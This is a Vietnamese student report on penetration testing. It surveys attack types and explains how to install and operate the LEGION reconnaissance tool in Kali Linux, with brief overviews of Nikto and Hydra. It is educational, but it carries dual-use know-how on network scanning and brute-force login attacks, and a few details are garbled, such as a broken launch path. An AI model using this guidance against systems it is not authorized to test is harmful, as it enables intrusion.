Mục tiêu của Pentest là giúp tổ chức phát hiện càng nhiều lỗ hổng càng tốt, từ đó khắc phục chúng để loại trừ khả năng bị tấn công trong tương lai. Người làm công việc kiểm tra xâm nhập được gọi là pentester Pentest có thể được thực hiện trên hệ thống máy tính, web app, mobile app, hạ tầng mạng, IoT, ứng dụng và hạ tầng cloud, phần mềm dịch vụ SaaS, API, source code, hoặc một đối tượng IT có kết nối với internet và có khả năng bị tấn công … nhưng phổ biến nhất là pentest web app và mobile app. Những thành phần trên được gọi là đối tượng kiểm thử (pentest target). Ngày nay, dưới sự phát triển của công nghệ, kiểm tra thâm nhập đã trở thành một môđun không thể thiếu trong hệ thống an toàn thông tin của nhiều doanh nghiệp. Bài báo cáo dưới đây chúng em xin phép trình bày những thông tin mà chúng em thu thập được về công cụ LEGION trong Kali Linux và thử nghiệm công cụ này trên các hệ thống thực
TỔNG QUAN VỀ AN NINH MẠNG VÀ LỖ HỔNG BẢO MẬT
Một số khái niệm liên quan đến an ninh mạng
An ninh mạng đảm bảo hoạt động an toàn trên không gian mạng, bảo vệ an ninh quốc gia, trật tự xã hội và quyền lợi hợp pháp của cơ quan, tổ chức và cá nhân.
Bảo vệ an ninh mạng là phòng ngừa, phát hiện, ngăn chặn và xử lý hành vi xâm phạm an ninh mạng.
Không gian mạng là một mạng lưới kết nối của cơ sở hạ tầng công nghệ thông tin, bao gồm viễn thông, Internet, mạng máy tính, hệ thống thông tin, và cơ sở dữ liệu Đây là nơi con người thực hiện các hành vi xã hội mà không bị giới hạn bởi không gian và thời gian.
Tội phạm mạng là hành vi vi phạm pháp luật thông qua việc sử dụng không gian mạng, công nghệ thông tin hoặc các phương tiện điện tử, được quy định rõ ràng trong Bộ luật Hình sự.
Tấn công mạng là hành vi sử dụng công nghệ thông tin và không gian mạng để phá hoại hoặc gây gián đoạn hoạt động của các hệ thống viễn thông, Internet, máy tính, cũng như các cơ sở dữ liệu và phương tiện điện tử.
Một số khái niệm liên quan đến lỗ hổng bảo mật
Trong lĩnh vực an ninh mạng, lỗ hổng bảo mật được định nghĩa là những điểm yếu mà tội phạm mạng có thể khai thác để truy cập trái phép vào hệ thống máy tính Theo tiêu chuẩn của Tổ chức Tiêu chuẩn hóa Quốc tế và Ủy ban Kỹ thuật Điện Quốc Tế (ISO/IEC), việc nhận diện và khắc phục các lỗ hổng này là rất quan trọng để bảo vệ an toàn thông tin.
Lỗ hổng bảo mật được định nghĩa là điểm yếu của tài sản có thể bị khai thác bởi các mối đe dọa, trong đó tài sản bao gồm mọi thứ có giá trị đối với tổ chức và hoạt động kinh doanh Theo IETF trong RFC 4949, lỗ hổng là sự yếu kém trong thiết kế, triển khai hoặc quản lý hệ thống, có thể bị lợi dụng để vi phạm chính sách bảo mật Nhìn chung, các định nghĩa đều nhấn mạnh rằng khiếm khuyết trong hệ thống, cả phần cứng lẫn phần mềm, có thể bị kẻ xấu khai thác, gây hại cho tổ chức hoặc cá nhân sở hữu.
Lỗ hổng bảo mật có thể xuất phát từ nhiều nguyên nhân, bao gồm lỗi trong chính hệ thống, sự thiếu hiểu biết của người quản trị về các dịch vụ cung cấp, và hành vi thiếu ý thức bảo mật của người dùng khi nhấp vào các liên kết lạ hoặc tải xuống ứng dụng độc hại.
Lỗ hổng bảo mật có thể gây ảnh hưởng khác nhau, từ việc giảm chất lượng dịch vụ đến việc làm gián đoạn toàn bộ hệ thống.
Phân loại lỗ hổng bảo mật
Có nhiều tổ chức khác nhau phân loại các lỗ hổng đặc biệt Theo Bộ Quốc phòng Mĩ, các loại lỗ hổng bảo mật trên một hệ thống gồm:
Đe dọa tính toàn vẹn và bảo mật của hệ thống.
Cho phép người sử dụng bên ngoài truy cập bất hợp pháp vào hệ thống.
Gây ra việc phá hỏng toàn bộ hệ thống.
Xuất hiện ở các hệ thống quản trị yếu kém hoặc không kiểm soát được cấu hình mạng.
Có mức độ nguy hiểm trung bình.
Cho phép người sử dụng có thêm tác quyền trên hệ thống mà không cần thực hiện bước kiểm tra tính hợp lệ.
Thường có trong các ứng dụng, dịch vụ trên hệ thống.
Có thể dẫn đến việc mất hay rò rỉ thông tin yêu cầu bảo mật.
Có mức độ nguy hiểm thấp, chỉ ảnh hưởng đến chất lượng dịch vụ và làm gián đoạn hệ thống.
Cho phép thực hiện các phương thức tấn công từ chối dịch vụ (Dinal of Services) gọi tắt là DoS.
Ít phá hỏng dữ liệu hay cho phép quyền truy cập bất hợp pháp vào máy tính.
DoS (Denial of Service) là một dạng tấn công mạng, trong đó kẻ tấn công sử dụng các giao thức ở tầng Internet của bộ giao thức TCP/IP nhằm làm cho hệ thống ngưng hoạt động Hệ quả là hệ thống sẽ từ chối quyền truy cập hợp pháp của người dùng, gây gián đoạn dịch vụ và ảnh hưởng nghiêm trọng đến hoạt động của tổ chức.
Một số phương thức tấn công mạng
Tấn công mạng hay còn gọi là chiến tranh trên không gian mạng (Cyber-war).
Tấn công mạng là hành vi xâm nhập vào hệ thống mạng máy tính, cơ sở dữ liệu, hạ tầng mạng, website hoặc thiết bị của cá nhân và tổ chức.
Cụm từ “tấn công mạng” có 2 nghĩa hiểu:
Tấn công mạng (Penetration Testing) là một phương pháp quan trọng mà các hacker mũ trắng sử dụng để xâm nhập vào hệ thống mạng, thiết bị và website Mục tiêu của quá trình này là phát hiện các lỗ hổng và nguy cơ tấn công, từ đó giúp bảo vệ an toàn cho cá nhân và tổ chức.
Tấn công mạng là hình thức tấn công của hacker mũ đen nhằm thay đổi dữ liệu hoặc tống tiền từ các đối tượng như cá nhân, doanh nghiệp, tổ chức hoặc nhà nước Hacker có thể tiếp cận qua mạng nội bộ, bao gồm máy tính, thiết bị và con người Đặc biệt, yếu tố con người là điểm yếu mà hacker thường khai thác qua thiết bị di động, mạng xã hội và ứng dụng phần mềm.
Cuộc tấn công không gian mạng có thể nhắm đến cá nhân, doanh nghiệp và quốc gia, xâm nhập vào hệ thống, cơ sở hạ tầng mạng, thiết bị và con người bằng nhiều phương thức và mục tiêu khác nhau.
4.1 Browser Attacks (Tấn công vào trình duyệt)
Năm 2017, tấn công vào trình duyệt trở thành một trong những kiểu tấn công mạng phổ biến Những cuộc tấn công này thường bắt đầu từ các trang web hợp pháp nhưng có lỗ hổng bảo mật Kẻ tấn công có khả năng xâm nhập vào website và lây lan phần mềm độc hại đến người dùng.
Khi có khách truy cập mới vào trang web, mã độc sẽ ngay lập tức xâm nhập vào hệ thống thông qua lỗ hổng của trình duyệt Năm 2017, các trình duyệt web bị tin tặc tấn công chủ yếu bao gồm Microsoft Internet Explorer, Google Chrome, Mozilla Firefox, Apple Safari và Opera.
Hình 1 1 Tấn công vào trình duyệt
4.2 Malware Attacks (Tấn công mã độc)
Tấn công malware là hình thức tấn công phổ biến nhất, bao gồm các loại như spyware, ransomware, virus và worm Tin tặc thường khai thác lỗ hổng bảo mật hoặc dụ dỗ người dùng nhấp vào liên kết hoặc email để cài đặt phần mềm độc hại Khi malware được cài đặt thành công, nó sẽ gây ra nhiều hậu quả nghiêm trọng cho hệ thống.
Mã hóa toàn bộ dữ liệu người dùng và yêu cầu tiền chuộc để giải mã file (Ransomware)
Cài đặt thêm các phần mềm độc hại khác
Lén lút theo dõi người dùng và đánh cắp dữ liệu (Spyware)
Làm hư hại phần mềm, phần cứng, làm gián đoạn hệ thống
Hình 1 2 Tấn công mã độc
4.3 DoS Attacks (Tấn công từ chối dịch vụ)
DoS (Denial of Service) là một kiểu tấn công mà tin tặc làm tê liệt tạm thời hệ thống, máy chủ hoặc mạng nội bộ bằng cách tạo ra một lượng lớn traffic hoặc request đồng thời Hành động này khiến cho hệ thống bị quá tải, dẫn đến việc người dùng không thể truy cập vào dịch vụ trong suốt thời gian diễn ra cuộc tấn công DoS.
DDoS (Distributed Denial of Service) là một hình thức tấn công DoS, trong đó tin tặc sử dụng mạng lưới máy tính ma (botnet) để tấn công nạn nhân Nguy hiểm hơn, các máy tính trong mạng botnet thường không nhận thức được rằng chúng đang bị lợi dụng để thực hiện các cuộc tấn công.
Hình 1 3 Tấn công từ chối dịch vụ
4.4 SQL Injection (Tấn công chèn mã SQL)
Các cuộc tấn công SQLi xảy ra khi kẻ tấn công gửi lệnh SQL độc hại đến máy chủ cơ sở dữ liệu thông qua các yêu cầu từ người dùng mà website cho phép Tất cả các kênh đầu vào đều có thể bị lợi dụng để thực hiện các lệnh độc hại này.
Với SQLi, các hacker có thể truy cập một phần hoặc toàn bộ dữ liệu trong hệ thống, có thể gây ra những thiệt hại khổng lồ.
Với việc SQLi dễ tấn công, phổ biến, gây ra hậu quả nghiêm trọng Đó là lý do mà SQLi đứng đầu trong 10 lỗ hổng bảo mật của OWASP
Hình 1 4 Tấn công chèn mã SQL
4.5 Kiểu tấn công mạng khác
Ngoài các kiểu tấn công nêu trên, Hacker còn có thể xâm nhập vào hệ thống bằng cách:
Tấn công vật lý (Physical Attacks): Tin tặc sẽ cố gắng phá hủy, ăn cắp dữ liệu kiến trúc trong cùng một hệ thống mạng
Tấn công nội bội (Insider Attacks) thường xuất phát từ những người trong tổ chức, như nhân viên có mâu thuẫn với đồng nghiệp Những cuộc tấn công này có thể gây ra thiệt hại nghiêm trọng cho hệ thống mạng nội bộ, dẫn đến việc thông tin dữ liệu của công ty bị truy cập trái phép, thay đổi hoặc thậm chí bị rao bán.
TỔNG QUAN VỀ CÔNG CỤ LEGION
Giới thiệu nhóm các công cụ thu thập thông tin (Information Gathering)
Trong lĩnh vực Pentesting, Information Gathering được xem như quá trình trinh sát, phản ánh triết lý "Biết địch biết ta, trăm trận trăm thắng" Việc thu thập thông tin chi tiết về mục tiêu không chỉ là bước khởi đầu quan trọng mà còn quyết định thành công hay thất bại của nhiệm vụ Càng hiểu rõ về mục tiêu, bạn càng nâng cao khả năng chiếm quyền điều khiển một cách hiệu quả.
Thông tin gathering là bước đầu tiên trong quá trình Penetration Testing, nơi thu thập các loại thông tin về nạn nhân hoặc hệ thống mục tiêu Quá trình này nhằm đánh giá tính bảo mật của tổ chức bằng cách khai thác các lỗ hổng mà kẻ tấn công có thể lợi dụng Việc thu thập thông tin chi tiết về mục tiêu là rất cần thiết, vì càng có nhiều dữ liệu, khả năng đạt được kết quả chính xác càng cao.
Information Gathering là một giai đoạn quan trọng trong kiểm thử xâm nhập, không chỉ để kiểm tra bảo mật mà còn giúp penetration tester và hacker nâng cao kỹ năng Quy trình này bao gồm việc sử dụng nhiều công cụ khác nhau để thu thập thông tin, từ đó cải thiện hiệu quả trong việc phát hiện và khắc phục lỗ hổng bảo mật.
Bước thu thập thông tin là rất quan trọng trong quá trình tấn công, vì bạn có thể cần các dữ liệu như tên, tuổi, ngày tháng năm sinh, số điện thoại và email để thực hiện các cuộc tấn công đoán mật khẩu hoặc các hình thức tấn công khác Hầu hết các chuyên gia kiểm thử xâm nhập (Pen Tester) bắt đầu công việc của họ bằng cách này, và nó đòi hỏi sự nỗ lực cùng kiên nhẫn cao.
Information gathering có thể được phân thành ba loại chính: Footprinting, Scanning, Enumeration:
Footprinting là quá trình thu thập thông tin về mục tiêu từ các dữ liệu công khai trên internet Mục tiêu chính của footprinting là thu thập tối đa thông tin về đối tượng, bao gồm tên miền (Domain Name), địa chỉ IP (IP Address), địa chỉ email (Email Address), các kỹ thuật Google Hack và thông tin từ nhiều nguồn khác.
Quá trình quét (Scanning) là một bước quan trọng trong thu thập thông tin tình báo cho kẻ tấn công, giúp họ thu thập thông tin chi tiết về mục tiêu bằng các kỹ thuật trinh sát phức tạp Trong giai đoạn này, kẻ tấn công tìm kiếm các địa chỉ IP, hệ điều hành, kiến trúc hệ thống và các cổng cùng với dịch vụ đang chạy trên từng máy tính Mục tiêu của việc quét là thu thập càng nhiều thông tin càng tốt về tổ chức mục tiêu, từ đó tăng cường khả năng phát hiện lỗ hổng bảo mật và tận dụng chúng để có được quyền truy cập trái phép.
Enumeration là bước quan trọng trong quá trình tìm kiếm thông tin của tổ chức, diễn ra sau khi đã thực hiện scanning Đây là giai đoạn tập hợp và phân tích các thông tin như tên người dùng, tên máy, tài nguyên chia sẻ và các dịch vụ Quá trình này không chỉ đơn thuần là thu thập dữ liệu mà còn bao gồm việc chủ động truy vấn hoặc kết nối tới mục tiêu để thu thập thông tin chi tiết hơn Enumeration có thể được định nghĩa là quá trình trích xuất thông tin từ giai đoạn scan và tổ chức chúng thành một hệ thống có trật tự, với các thông tin liên quan đến mục tiêu tấn công như username, hostname, service và share.
Việc thu thập thông tin đóng vai trò quan trọng trong việc chuẩn bị cho quá trình kiểm thử xâm nhập Đây là giai đoạn tốn nhiều thời gian và có thể gặp nhiều khó khăn, nhưng lại quyết định đến sự thành công hay thất bại của toàn bộ quá trình kiểm thử.
Có nhiều phương pháp để truy cập thông tin về tổ chức hoặc cá nhân, bao gồm cả kỹ thuật công nghệ và kỹ năng mềm Một số phương pháp có thể được áp dụng từ bất kỳ vị trí nào có kết nối internet, trong khi những phương pháp khác yêu cầu phải thực hiện tại một địa điểm cụ thể.
The Information Gathering category encompasses a wide array of tools, each serving distinct functions but ultimately aimed at facilitating data collection Key tools in this category include dnsenum, dnsrecon, fierce, lbd, wafw00f, arping, fping, hping3, masscan, thcping6, nmap, maltego, spiderfoot, spiderfoot-cli, theharvester, netdiscover, netmask, enum4linux, nbtscan, smbmap, swaks, onesixtyone, snmp-check, ssldump, sslh, sslscan, sslyze, dmitry, ike-scan, legion, and recon-ng.
Hình 2 2 Nhóm các công cụ Information Gathering
Giới thiệu nhóm các công cụ phân tích lỗ hổng (Vulnerability Analysis)
Phân tích lỗ hổng (Vulnerability Analysis) là quy trình kiểm tra và nhận diện các biện pháp an toàn cũng như lỗ hổng trong hệ thống và ứng dụng Quá trình này giúp đánh giá hiệu quả của các tầng bảo mật hiện tại trong việc chống lại các cuộc tấn công và lạm dụng, đồng thời phát hiện những lỗ hổng có thể bị khai thác Đây là một phần quan trọng trong quy trình quét và là nhiệm vụ thiết yếu của các chuyên gia kiểm thử xâm nhập (penetration tester) nhằm tìm ra các điểm yếu trong môi trường hệ thống Việc đánh giá lỗ hổng bao gồm việc xác định các lỗi thiết kế, sai sót cấu hình, cấu hình mặc định, lỗi tràn bộ đệm, lỗi hệ điều hành, dịch vụ mở và nhiều lỗ hổng khác có thể bị khai thác để sử dụng sai mục đích.
Hiện nay, quản trị viên hệ thống và pentester sử dụng nhiều công cụ để quét lỗ hổng bảo mật trong mạng Những lỗ hổng này được phân loại thành ba mức độ an ninh: thấp, trung bình và cao Ngoài ra, chúng cũng được phân loại theo quy mô khai thác, bao gồm lỗ hổng gần và xa.
Đánh giá chủ động là quá trình gửi yêu cầu trực tiếp đến mạng sống và kiểm tra các phản hồi từ máy chủ mục tiêu Quá trình này yêu cầu thăm dò để thu thập thông tin chính xác về hiệu suất và tính bảo mật của hệ thống.
Đánh giá thụ động: Đánh giá thụ động bao gồm việc nghe trộm gói tin
Packet sniffing là quá trình đánh giá không can thiệp vào máy chủ mục tiêu, nhằm phát hiện lỗ hổng, các dịch vụ đang chạy, cổng mở và thông tin quan trọng khác.
Đánh giá từ bên ngoài: Đây là quá trình đánh giá mà mục tiêu hacking là tìm ra lỗ hổng để khai thác từ bên ngoài.
Đánh giá từ bên trong là quá trình tìm kiếm lỗ hổng bảo mật thông qua việc quét hệ thống mạng nội bộ và cơ sở hạ tầng mạng Chu trình phân tích lỗ hổng bao gồm các bước cần thiết để xác định và khắc phục các điểm yếu trong hệ thống bảo mật.
Trong quá trình đánh giá lỗ hổng bảo mật, việc tạo đường cơ sở là bước đầu tiên cần thực hiện Tại giai đoạn này, pentester hoặc quản trị viên hệ thống phải nhận diện rõ bản chất của hệ thống, ứng dụng và dịch vụ Họ sẽ lập một danh sách kiểm tra toàn bộ tài nguyên và tài sản để quản lý và ưu tiên đánh giá một cách hiệu quả Đồng thời, việc vẽ sơ đồ cơ sở hạ tầng mạng và tìm hiểu về các kiểm soát an ninh, chính sách cũng như tiêu chuẩn mà tổ chức cần tuân thủ cũng rất quan trọng.
Đường cơ sở là công cụ quan trọng trong việc lập kế hoạch đánh giá, giúp thiết lập thời gian biểu cho các công đoạn và quản lý chúng theo thứ tự ưu tiên một cách hiệu quả.
Đánh giá lỗ hổng bảo mật là quá trình tập trung vào việc khảo sát và phân tích các biện pháp an toàn của mục tiêu, bao gồm cả an ninh vật lý và chính sách bảo mật Trong quá trình này, các lỗi cấu hình, cấu hình mặc định và các lỗ hổng được xác định thông qua việc thăm dò từng thành phần hoặc sử dụng các công cụ đánh giá Sau khi quét, dữ liệu thu thập được sẽ được phân loại theo mức độ ưu tiên Cuối cùng, báo cáo đánh giá lỗ hổng bảo mật sẽ cung cấp cái nhìn tổng quan về tất cả các lỗ hổng đã phát hiện, phạm vi và mức độ ưu tiên của chúng.
Đánh giá rủi ro là quá trình quan trọng trong việc kiểm tra các lỗ hổng bảo mật, đồng thời đánh giá tác động của những lỗ hổng này đối với hệ thống mạng và tổ chức.
Giảm thiểu rủi ro là bước quan trọng trong việc xử lý các lỗ hổng bảo mật Các lỗ hổng được đánh giá theo mức độ ưu tiên, với những lỗ hổng nghiêm trọng được xử lý trước để tránh những ảnh hưởng tiêu cực.
Xác thực: Công đoạn xác thực để bảo đảm rằng tất cả các lỗ hổng bảo mật đã được loại bỏ.
Quan sát: Quan sát network traffic và system behaviors để phát hiện kịp thời nếu có xâm nhập.
Các giải pháp tiếp cận Vulnerability Analysis khác nhau:
Giải pháp dựa trên sản phẩm thường được áp dụng cho mạng nội bộ của tổ chức hoặc hệ thống mạng riêng, giúp tối ưu hóa hiệu suất và bảo mật.
Giải pháp dựa trên dịch vụ là những dịch vụ từ bên thứ ba cung cấp an ninh và kiểm nghiệm cho hệ thống mạng Các giải pháp này có thể được triển khai cả trong và ngoài hệ thống Tuy nhiên, khi giải pháp tiếp cận mạng nội bộ, nó có thể tiềm ẩn rủi ro về an toàn cho hệ thống.
Đánh giá dạng cây là phương pháp kiểm nghiệm, trong đó người kiểm nghiệm áp dụng các chiến lược khác nhau cho từng thành phần của môi trường hệ thống Chẳng hạn, khi xem xét một hệ thống mạng của tổ chức với các máy móc riêng biệt, kiểm nghiệm viên sẽ tiếp cận máy tính chạy hệ điều hành Windows khác với cách tiếp cận máy chủ sử dụng hệ điều hành Linux.
Đánh giá hệ quả là một phương pháp quan trọng dựa trên bản kiểm kê giao thức mạng trong môi trường hệ thống Khi kiểm nghiệm viên phát hiện một giao thức, họ sẽ tiến hành thăm dò các cổng và dịch vụ liên quan đến giao thức đó dựa trên đánh giá hệ quả để xác định các rủi ro tiềm ẩn.
Để đánh giá lỗ hổng bảo mật một cách hiệu quả, quản trị viên hệ thống và kiểm nghiệm viên cần thực hiện một số bước quan trọng Những bước này sẽ giúp đảm bảo quá trình đánh giá được tiến hành chính xác và mang lại kết quả tối ưu.
Giới thiệu công cụ LEGION
LEGION là một công cụ mã nguồn mở tích hợp trong Kali Linux, giúp người dùng dễ dàng khám phá, trinh sát và khai thác hệ thống thông tin Đây là một framework kiểm thử xâm nhập mạng siêu mở rộng và bán tự động, với nhiều tính năng nổi bật LEGION được phát triển và duy trì bởi GoVanguard.
Go Vanguard là một nhà cung cấp dịch vụ bảo mật hệ thống thông tin, giải pháp công nghệ và điện toán đám mây Công ty cam kết minh bạch bằng cách cung cấp mã nguồn mở cho các chính sách, công cụ và báo cáo, nhằm thúc đẩy sự cải thiện trong cộng đồng.
Hình 2 5 Thông tin về GoVanguard
Các tính năng của LEGION bao gồm:
Giao diện thân thiện và menu đa dạng giúp pentester dễ dàng tìm kiếm và khai thác mục tiêu tấn công một cách nhanh chóng.
Chức năng modular của công cụ Legion giúp người dùng dễ dàng tùy chỉnh và tự động gọi các script hoặc công cụ của riêng họ.
Liên kết CVEs để khai thác thông tin chi tiết trong Exploit-Database.
Legion có tính năng real-time tự động lưu các kết quả và task của project.
Legion cũng cung cấp các dịch vụ như Automatic recon và quét với Nmap, whataweb, sslyzer, Vulners, webslayer, SMBenum, dirbuster, nikto, Hydra …
Tự động phát hiện CVEs (Common Vulnerabilities and Exposures) và CPEs (Common Platform Enumeration).
Lộ trình phát triển trong tương lai:
Tích hợp các công cụ: OpenVAS, Shodan.io, Maltego, MetaSploit, Dradis, theHarvester và một số các công cụ nữa.
Thay thế PyQT cùng với giao diện Web để làm cho Legion trở thành một môi trường kiểm thử đa người dùng.
Tăng khả năng thu thập dữ liệu và khả năng tạo các báo cáo đánh dấu.
Bổ sung thêm Machine Learning để tăng cường chất lượng của các hoạt động khám phá, trinh sát và khai thác hệ thống thông tin.
So sánh với công cụ SPARTA
Nếu bạn đang sử dụng Kali Linux phiên bản 2020.1 trở lên, hãy lưu ý rằng công cụ Sparta không còn được hỗ trợ Thay vào đó, bạn nên sử dụng công cụ Legion.
LEGION, một dự án fork từ SPARTA, mang đến giao diện quen thuộc nhưng được cải tiến với mã nguồn tái cấu trúc hoàn toàn Điều này giúp tăng hiệu suất, cải thiện độ tin cậy và nội suy tốt hơn so với các công cụ khác, đồng thời tích hợp nhiều tính năng hữu ích.
Những thay đổi đáng chú ý của công cụ LEGION so với công cụ SPARTA:
Đã cập nhật lên PyQT5, tăng khả năng phản hồi, GUI ít lỗi hơn, trực quan hơn với các tính năng vượt trội.
Ước tính thời gian hoàn thành nhiệm vụ.
Quét toàn bộ danh sách các IP, hostname và mạng con CIDR bằng một cú click.
Có khả năng xóa kết quả, thực hiện lại việc quét host và xóa host.
Tùy chọn quét Nmap chi tiết
Sửa đổi quá trình hàng đợi, thực thi quy trình để tăng hiệu suất và độ tin cậy của ứng dụng.
Đơn giản hóa quá trình cài đặt công cụ cùng với độ phân giải phù hợp.
Tự động lưu dự án trong thời gian thực để tránh trường hợp xảy ra sự cố, bạn sẽ không bị mất bất kỳ quá trình nào.
Tùy chọn triển khai vùng chứa Docker.
Việc loại bỏ các thư viện cũ không còn sử dụng đã được thực hiện do công cụ Legion đã được tái cấu trúc từ phiên bản Python 2.7 sang phiên bản Python 3.6.
Hỗ trợ độ phân giải tên máy chủ.
Công cụ LEGION được hỗ trợ bởi một đội ngũ phát triển lớn.
Cài đặt
Để cài đặt công cụ LEGION, ta vào trong terminal nhập vào dòng lệnh dưới đây: apt install legion -y
Hình 2 7 Cài đặt công cụ LEGION
Nếu bạn muốn cài đặt theo cách thủ công thì làm theo các bước sau đây:
Bước 1: Nhập dòng lệnh để clone source từ trên GitHub về: git clone https://github.com/GoVanguard/legion.git
Hình 2 8 Clone source từ GitHub về
Bước 2 : Cd vào trong công cụ LEGION: cd legion
Hình 2 9 cd vào thư mục LEGION
Bước 3: Nhập vào dòng lệnh sau: sudo chmod +x startLegion.sh
Hình 2 10 Nhập vào dòng lệnh sudo chmod +x startLegion.sh
Bước 4: Run Legion: sudo /startLegion.sh
Và đây là màn giao diện chính của công cụ Legion
Hình 2 12 Giao diện chính của LEGION
Hiện nay, Kali Linux đã tích hợp sẵn công cụ Legion, cho phép người dùng mở và sử dụng một cách dễ dàng Dưới đây là các bước đơn giản để khởi động công cụ Legion trong Kali Linux.
Bước 1: Click vào icon Kali Linux góc trên cùng bên trái
Menu hiện ra như sau
Hình 2 13 Click vào icon Kali Linux
Bước 2: Click chọn 01 – Information Gathering hoặc là 02 – Vulnerability
Hình 2 15 Menu bao gồm 2 công cụ
Danh mục các tool sẽ hiện ra bên phía tay phải
Hình 2 16 Danh mục các công cụ
Bước 3: Click chọn vào tool LEGION
Hình 2 17 Click vào công cụ LEGION
Giao diện công cụ LEGION hiện ra
Hình 2 18 Giao diện chính của công cụ LEGION
Hướng dẫn sử dụng công cụ LEGION
Hình 2 19 Giao diện chính của công cụ LEGION
Giao diện công cụ gồm 3 phần chính:
Phần phía bên trái là phần input với Scan và Brute là hai chức năng chính của công cụ LEGION.
Phần output nằm ở phía bên phải của giao diện công cụ.
Phần dưới cùng là toàn bộ thông tin về các tiến trình đang chạy và logs.
Hình 2 22 Phần lưu process và logs
Tab Scan trong phần input thực hiện công việc khám phá host, thu thập thông tin và rà quét các lỗ hổng bảo mật.
Tab Brute trong phần input cho phép người dùng thực hiện tấn công brute force vào một máy chủ mục tiêu Các tham số của tùy chọn Brute có thể được điều chỉnh để tối ưu hóa quá trình tấn công.
Muốn thực hiện việc quét bất cứ IP riêng lẻ hoặc 1 danh sách các IP, hoặc là các hostname thì ta click vào icon ở góc phải dưới cùng.
Màn thêm mới IP để quét hiện lên
Màn hình thêm mới IP cho phép người dùng nhập một địa chỉ IP đơn lẻ, danh sách các IP hoặc hostname để tiến hành quét Để thêm nhiều IP mục tiêu, chỉ cần tách chúng bằng dấu chấm phẩy.
Hình 2 27 Nơi nhập IP vào
Trong phần Chọn Chế Độ, công cụ cung cấp hai tùy chọn quét khác nhau: Chế Độ Dễ và Chế Độ Khó.
Khi chọn chế độ Dễ, người dùng có thể điều chỉnh các tùy chọn quét Nmap và hiệu suất Hiện có 6 tùy chọn hiệu suất: Paranoid, Sneaky, Polite, Normal, Aggressive và Insane Các tùy chọn hiệu suất cao sẽ tốn nhiều thời gian thực hiện hơn so với các tùy chọn thông thường.
Chế độ Hard Mode cung cấp nhiều tính năng bổ sung, bao gồm khả năng chỉnh sửa tùy chọn quét cổng, khám phá host và điều chỉnh các đối số tùy chỉnh.
Phần Additional Arguments cho phép người dùng thêm các đối số cần thiết cho quá trình rà quét Mặc định, có hai đối số là –sV, dùng để xác định phiên bản của các dịch vụ mục tiêu, và –O, cung cấp thông tin về hệ điều hành của mục tiêu.
Sau khi hoàn tất việc chỉnh sửa cấu hình, bạn hãy nhấn nút Submit để khởi động quá trình quét của công cụ Legion Khi quá trình này được khởi tạo, Legion sẽ bắt đầu thu thập các host trực tiếp ở bên trái giao diện, trong khi các kết quả quét sẽ hiển thị ở phía bên phải.
Ta có thể phân tích các kết quả quét được bằng cách click các tab bên phần output.
Hình 2 32 Các tab phần output
Và ta có thể mở rộng kết quả quét bằng cách sử dụng thêm các công cụ và scripts thông qua tùy chọn Services và Tool ở trong phần input
Hình 2 33 Các tab phần input
THỬ NGHIỆM CÔNG CỤ LEGION
Cơ sở lý thuyết
Công cụ LEGION tích hợp nhiều tính năng của các công cụ bảo mật nổi bật như Nikto, Hydra và Nmap Trong bài viết này, chúng ta sẽ khám phá tổng quan về các công cụ này và vai trò của chúng trong việc nâng cao khả năng bảo mật.
Nikto là phần mềm miễn phí mã nguồn mở với giao diện dòng lệnh (CLI) chuyên quét lỗ hổng bảo mật trên các máy chủ web Nó có khả năng phát hiện các tệp nguy hiểm, CGI, phần mềm lỗi thời và nhiều vấn đề khác Nikto thực hiện kiểm tra toàn diện trên nhiều loại máy chủ với các hệ điều hành khác nhau và ghi lại bất kỳ cookie nào nhận được trong quá trình quét.
Nikto không phải là một công cụ quét ẩn danh, mà được thiết kế để kiểm tra máy chủ web một cách nhanh chóng, đồng thời ghi lại các tệp trong log hoặc hệ thống IPS/IDS Ngoài ra, Nikto còn hỗ trợ các phương pháp chống IDS thông qua LibWhisker.
Không phải mọi kết quả đều là vấn đề bảo mật, mặc dù hầu hết đều là như vậy.
Một số kiểm tra kiểu "chỉ thông tin" được thực hiện để phát hiện những mục trên máy chủ có thể không có lỗ hổng bảo mật, nhưng quản trị viên web hoặc kỹ sư bảo mật có thể chưa biết đến Những mục này thường được đánh dấu rõ ràng trong thông tin được in Bên cạnh đó, còn có các kiểm tra cho những mục không xác định đã được quét trong các tệp nhật ký.
Công cụ quét lỗ hổng Nikto là một công cụ mạnh mẽ và thường xuyên được cập nhật với các lỗ hổng mới, giúp người dùng quét các máy chủ web một cách hiệu quả nhờ tính tiện lợi và dễ sử dụng.
Những tính năng nổi bật của công cụ bao gồm:
Nikto được cung cấp miễn phí, mã nguồn mở và được cập nhật thường xuyên.
Có thể được sử dụng để quét bất kỳ máy chủ web nào (Apache, Nginx, Lighttpd, Litespeed, v.v.)
Quét hơn 6.700 lỗ hổng đã biết và kiểm tra phiên bản cho hơn 1.250 máy chủ web (và đang tiếp tục phát triển)
Quét các vấn đề liên quan đến cấu hình, chẳng hạn như thư mục tĩnh có thể truy nhập trực tiếp
Quét với trang web có bảo mật SSL
Khả năng quét nhiều cổng trên một máy chủ có nhiều máy chủ web đang chạy
Khả năng quét qua proxy và xác thực http
Khả năng chỉ định thời gian quét tối đa
Các options khá nhiều nhưng khi sử dụng người dùng chỉ cần chú ý một vài option quan trọng sau:
-h: Nạp vào URL của đối tượng cần rà quét
-output: Xuất dữ liệu và lưu lại tại thư mục đã cấp đường dẫn
-format: Lựa chọn định dạng kết quả cót hể chọn HTML hoặc JSON
-timeout: Thiết lập timeout cho request (mặc định là 10s)
-ssl: Quét sử dụng giao thức HTTPS
Hydra là một công cụ phổ biến được sử dụng để tấn công thông tin đăng nhập, thường được cài đặt sẵn trên Kali Công cụ này hỗ trợ cả giao diện đồ họa lẫn dòng lệnh, giúp kẻ tấn công dễ dàng truy cập vào hệ thống từ xa.
Nghiên cứu về bảo mật cho thấy mật khẩu là lỗ hổng lớn nhất trong việc bảo vệ thông tin Công cụ này chứng minh rằng việc truy cập trái phép từ xa vào hệ thống có thể diễn ra dễ dàng, cung cấp cho các nhà nghiên cứu và tư vấn bảo mật cái nhìn sâu sắc về nguy cơ này.
Công cụ này chỉ nên được sử dụng cho các mục đích hợp pháp Mặc dù có một số công cụ hack password có sẵn, nhưng không có công cụ nào hỗ trợ nhiều hơn một giao thức tấn công hoặc cho phép kết nối song song.
Công cụ này đã được kiểm tra cẩn thận trên Linux, Windows/Cygwin, Solaris, FreeBSD/OpenBSD, QNX (Blackberry 10) và MacOS.
